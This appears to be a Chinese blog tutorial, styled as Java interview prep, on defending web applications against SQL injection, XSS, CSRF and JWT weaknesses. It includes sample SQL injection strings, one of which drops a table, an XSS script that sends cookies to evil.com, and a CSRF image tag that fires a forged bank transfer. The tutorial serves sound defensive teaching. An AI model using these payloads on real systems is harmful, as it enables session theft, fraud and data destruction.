JAVA面试宝典 -《安全攻防:从 SQL 注入到 JWT 鉴权》

发布于:2025-07-10 ⋅ 阅读:(25) ⋅ 点赞:(0)

🔐《安全攻防:从 SQL 注入到 JWT 鉴权》

🛡️ 引言:安全不是锦上添花,而是保命符

曾经,一家电商平台因 SQL 注入漏洞,被黑客成功篡改会员余额,数百万用户信息泄漏;
开源项目也频频中招,代码托管一夕遭注入挖矿脚本。

安全问题的本质,就是你的系统边界被攻破后,后果可能远比功能丢失更可怕。

从“攻防并存”的角度来看,每一次漏洞修复,都是在给系统筑起一堵更坚固的“护城河”。
下面,我们将从最经典的 SQL 注入,到前端“定时炸弹” XSS,再到 CSRF 与分布式时代的 JWT,逐步划定攻防要点。


🕳️ 第一章:SQL 注入——最经典的老朋友

原理剖析:字符串拼接的“后门”

当你将用户输入直接拼进 SQL 语句,攻击者只需注入一段特殊字符串,就能“打开”你的数据大门。

// ❌ 错误示例:字符串拼接产生注入风险
String sql = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";
stmt.executeQuery(sql);

若 username = “admin’ OR ‘1’='1”,那么最终执行:

SELECT * FROM users 
WHERE username = 'admin' OR '1'='1' 
  AND password = 'whatever';

结果:永远为真,绕过认证。

防御秘诀:参数化查询 & ORM 框架

1. PreparedStatement
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
try (PreparedStatement ps = conn.prepareStatement(sql)) {
    ps.setString(1, username);
    ps.setString(2, password);
    ResultSet rs = ps.executeQuery();
}

参数提前编译,用户输入视为数据,不会被当作 SQL 片段执行。

2. 使用 ORM 框架

以 MyBatis 为例:

<select id="findUser" resultType="User">
  SELECT * FROM users 
  WHERE username = #{username} 
    AND password = #{password}
</select>

#{} 自动走预编译参数,杜绝拼接注入。

注入 Payload 举例
  • 1’ OR ‘1’='1

  • admin’; DROP TABLE users;

💣 第二章:XSS 攻击——前端的“定时炸弹”

攻击原理:脚本植入,等待用户触发

攻击者在输入框、评论区、富文本中插入含 script 的恶意脚本,当其他用户浏览时,脚本在其浏览器中执行,盗取 Cookie、劫持页面等。

<!-- 用户提交的评论 -->
<p>Great post!</p>
<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>

防御策略:前后端联合“上锁”

1.前端转义

将 <、>、& 等特殊字符替换为 <、>、&。

function escapeHtml(str) {
  return str.replace(/&/g, "&amp;")
            .replace(/</g, "&lt;")
            .replace(/>/g, "&gt;");
}

2.后端过滤
  • 白名单过滤:只允许安全的标签和属性(例如使用 OWASP Java HTML Sanitizer)。

  • 内容安全策略(CSP):通过 HTTP 头部约束可执行脚本的来源。

3.联合防御

前端转义 + 后端白名单 + CSP,多重防线才能有效阻断 XSS。

🔀 第三章:CSRF 攻击——跨站请求伪造

攻击流程演示

1. 用户登录银行网站,持有有效 Cookie
2. 访问恶意网站,页面自动发起转账请求
<img src="https://bank.com/transfer?to=attacker&amount=10000" />

3. 浏览器自动带上 Cookie,银行服务器误认为是用户本人操作。

防御武器库

1.CSRF Token

后端在用户表单中植入随机 Token,校验不匹配则拒绝。

2.Referer/Origin 校验

检查请求头 Referer 或 Origin 是否来自本站域名。

3.验证码

在高危操作(如转账)前追加验证码校验。

🆔 第四章:JWT 鉴权——分布式时代的通行证

原理解读:三段式 Token
  1. Header(Base64 编码,描述算法等)
  2. Payload(Base64 编码,存储用户信息、过期时间)
  3. Signature(使用密钥对前两部分签名,防篡改)

完整格式:

xxx.yyy.zzz

Java 示例:生成 & 解析

// 依赖 io.jsonwebtoken:jjwt
String jwt = Jwts.builder()
    .setSubject("user123")
    .claim("role", "ADMIN")
    .setIssuedAt(new Date())
    .setExpiration(Date.from(Instant.now().plus(1, ChronoUnit.HOURS)))
    .signWith(SignatureAlgorithm.HS256, secretKey)
    .compact();

// 解析
Claims claims = Jwts.parser()
    .setSigningKey(secretKey)
    .parseClaimsJws(jwt)
    .getBody();
String userId = claims.getSubject();

常见攻击点 & 防御建议

攻击点 防御措施
Token 泄漏 强制 HTTPS,避免在 URL 中传递
过期未刷新 短期有效 + 刷新 Token 机制
密钥伪造 使用高强度随机密钥,定期轮换
黑名单机制 维护失效 Token 黑名单,及时作废已泄露或登出 Token

⚔️ 第五章:实战场景分析——从攻到防

  1. 发现漏洞:自动化扫描工具(如 OWASP ZAP)报出 SQL 注入风险。
  2. 重现攻击:构造含 ’ OR ‘1’='1 的登录请求,确认绕过。
  3. 修复验证:使用 PreparedStatement 并复测,攻击不再生效。
  4. XSS 检测:在搜索框注入 ,页面弹窗即为漏洞;
  5. 添加前端转义 + 后端 Sanitizer,复测通过。
  6. CSRF 校验:通过 CSRF Token 漏洞演示伪造下单;
  7. 加入 Token 校验后,二次尝试被拒绝。
  8. JWT 强化:发现 Token 可在 HTTP 请求头外泄;
  9. 强制 HTTPS + 密钥升级 + blacklisting,确保安全。

📝 总结:安全没有 100%,但可以越来越强

  • 安全是持续演进的过程,切忌“修完一次就万事大吉”。

  • 每一次代码提交、每一次库升级,都应伴随安全审计。

  • 自动化工具(OWASP ZAP、SonarQube 安全插件)+ 手工渗透测试,双管齐下。

📋 附录:安全 Checklist & 推荐工具

  • SQL 注入:所有 SQL 均使用参数化/ORM

  • XSS:前端转义 + 后端白名单 + CSP

  • CSRF:全站表单均带 CSRF Token 或 Referer 校验

  • JWT:HTTPS 强制 + 短期有效 + 密钥轮换 + 黑名单

推荐工具

  • OWASP ZAP:自动化扫描

  • SonarQube:静态安全检测

  • Burp Suite:专业渗透测试

  • JWT.io:在线解码与调试

安全,从每一个细节开始坚守;
攻防之间,唯有不断学习与实践,才能让你的系统固若金汤。
加油,做最安全的开发者!


网站公告

今日签到

点亮在社区的每一天
去签到